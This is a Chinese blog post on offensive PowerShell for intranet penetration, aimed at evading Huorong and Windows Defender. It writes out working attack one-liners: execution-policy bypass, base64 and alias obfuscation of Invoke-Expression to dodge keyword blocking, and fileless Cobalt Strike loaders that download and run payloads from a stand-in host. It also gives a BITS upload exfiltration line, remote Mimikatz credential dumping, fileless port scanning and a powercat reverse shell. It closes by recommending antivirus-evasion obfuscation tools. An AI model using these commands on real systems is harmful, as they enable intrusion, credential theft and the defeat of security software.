websec80

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

 

powershell是一个很好的宝藏库,在内网中可能会给出意外惊喜。

挑一点重点说说,本文的杀软以火绒为主。

 

其实我们都用过powershell,

比如ls,dir

 

图片

 

不过它只是Get-ChildItem别称。

 

常用命令和参数介绍:

命名规范:动词+名词=cmdlets

 

 

-Get-ExecutionPolicy:查看当前执行策

 

图片

 

第一次我们运行ps1脚本的时候会遇到这种情况,因为powershell默认安全策略为Restricted,此时脚本不能执行

修改的使用

 

PS C:\Users\Admin> Set-ExecutionPolicy -Scope CurrentUser

位于命令管道位置 1 的 cmdlet Set-ExecutionPolicy请为以下参数提供值:ExecutionPolicy: Unrestricted执行策略更改执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): Y

 

Unrestricted:允许所有脚本运行(需要管理员权限)

 

图片

 

因为C:\Users\Admin不在powershell默认环境中,所以我们需要输入绝对路径

 

图片

 

$env:Path=$env:Path+"C:\Users\Admin"

 

添加到powershell的默认路径后,便可以直接执行了。

 

&:在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。

 

图片

 

相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行

 

图片

 

-EXecutionPolicy Bypass:绕过powershell默认安全规定不能运行命令和文件

 

-WindowStyle Hidden(-W Hidden):隐藏窗口

 

-Nonlnteractive(-Nonl):非交互模式

 

-noexit:执行但不退出shell

 

Get-FileHash:获取文件hash

 

图片

 

-Import-Module:将模块添加到当前会话。

 

//如上传操作Import-Module BitsTransferStart-BitsTransfer -Source c:\test.txt -Destination http://x.x.x.x/test.txt -transfertype upload

 

-EncodedCommand(-enc):接受base64编码的字符串

 

-set-alias:设置别名

 

 


powershell定义函数方式:

 

function FuncName(args[]){code;}



编辑器:

 

win10自带的ISE就挺不错,自动补全功能也很好。

 

 

图片

 

 


powershell-cs上线:

 

图片

 

也是调用了virtualalloc那些windows api创建而成。

 

常用的API还是要记住的

 

在一些木马分析的时候有时候也会感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread

删原来文件,创建一个新word,写,加载到新线程中。因为套路相似,调用的API也相似。

 

推荐查询网址:

https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN

 

图片

 

首次扫描,火绒被火绒杀了。

 

图片

图片

 

在我们对这段代码加入上面我们的混淆以后,火绒便不会杀了,cs也可以正常上线。

 

图片

 

#然后火绒会对这个powershell执行脚本的行为进行行为拦截#echo ......  | powershell 也会被拦截powershell #从cmd进入powershell界面function ConvertFrom-Base64($string) {$bytes  = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;}$a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE"$b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE="IEX(ConvertFrom-Base64($a+$b))

 

图片

 

不会这样拦截类似 powershell -ep bypass -f ........ps1了。

 

这个是笨方法

 

图片

因为测试其他powershell脚本的时候,没有被拦截,觉得还是关键字拦截。然后就这样混淆一下。

 


powershell-cs无文件上线:
powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')

 

图片

 

把修改后的ps脚本放在服务器上,在有火绒的虚拟机上好像是直接上线了。

 

windows defender二话不说拦截,因为连windows defender静态免杀都没过。

 

图片

 

至于怎么过windows defender,上篇文章也写过。

 

不过这时候,文件是落地的。

 

powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:\SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:\SYSTEM1.exe

 

图片

 

 

 


项目推荐:

 

git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishanggit clone https://github.com/besimorhino/powercat

 

 


无文件落地端口扫描:

 

图片

 

脚本放到vps,开启通道

 

在我们第一次尝试的时候,可能会出现这种问题:

 

图片

 

解决办法:

第一种可能:模块名字,你不经意的打错了

第二种可能:需要修改作用域的权限。

 

 

 

执行后为:

 

powershell -nop -ep bypass -"IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -4 -ports "3389" -oA c:\windows\temp\est1.txt

 

 

还有一点是执行的时候,杀软会拦截。

 

 

不过我们换一种思路

 

powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est3.txt

 

 

给IEX设置一个别名,再执行,火绒便不会再拦截。

 

 


无文件落地抓取密码:

 

powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 


反弹shell:

 

#被控端:powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd
nc -lvp 8888

 


power shell免杀项目推荐:

 

两个师傅的博客网址:

https://www.chabug.org/?s=powershell

 

https://www.cnblogs.com/forforever/p/13882312.html

 

感觉这两位师傅写的总结的都挺不错的,其他师傅写的也都很不错。

https://github.com/danielbohannon/Invoke-Obfuscation

 

Import-Module .\Invoke-Obfuscation.psd1Invoke-Obfuscation

 

 

进入我们的主界面

 

encoding模块进行混淆launcher模块生成加载器string模块混淆字符串

 

set scriptpath C:\Users\Admin\Desktop\payload222.ps1 #设置我们需要免杀的脚本路径encoding3out 1.ps1

 

 

 

 

这里是过了Windows defender的静态免杀,这个工具其他模块功能都挺足的,师傅们可以研究一下

其他项目:

 

https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1

 

https://github.com/CBHue/PyFuscation

 

https://github.com/peewpw/Invoke-PSImage

 

 

end


 

 

阅读 1478
 

posted on 2021-02-05 09:49  websec80  阅读(2508)  评论(0编辑  收藏  举报